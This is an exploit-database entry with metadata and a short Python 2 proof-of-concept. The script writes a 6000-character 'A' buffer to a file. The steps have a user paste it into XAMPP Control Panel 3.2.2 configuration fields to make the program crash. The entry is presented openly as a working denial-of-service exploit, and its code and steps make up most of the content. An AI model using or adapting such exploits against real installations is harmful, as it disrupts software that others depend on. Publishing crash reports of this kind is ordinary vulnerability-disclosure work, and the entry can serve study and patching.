XAMPP Control Panel 3.2.2 - Denial of Service (PoC)

Author: Gionathan Reale
type: dos
platform: windows_x86
port: 
date_added: 2018-09-17  
date_updated: 2018-11-13  
verified: 1  
codes:   
tags: Denial of Service (DoS)  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comxampp-portable-win32-7.2.9-0-VC15-installer.exe  

raw file: 45419.py  

# Exploit Title: XAMPP Control Panel 3.2.2 - Denial of Service (PoC)
# Exploit Author: Gionathan "John" Reale
# Date: 2018-09-14
# Software: XAMPP
# Version: 3.2.2 / 7.2.9 (Newest version at time of writing)
# Download: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.9/xampp-portable-win32-7.2.9-0-VC15-installer.exe/download
# Tested on: Windows 7 32bit

# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name "exploit.txt".
# Copy the contents of "exploit.txt"
# Start the program and click "Config(Top Right With Symbol)"
# Paste the contents of "exploit.txt" into the following fields:"Editor" & "Browser".
# Click "Save" and then in the main window Click "Config" > "Apache (httpd.conf)".
# You will see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"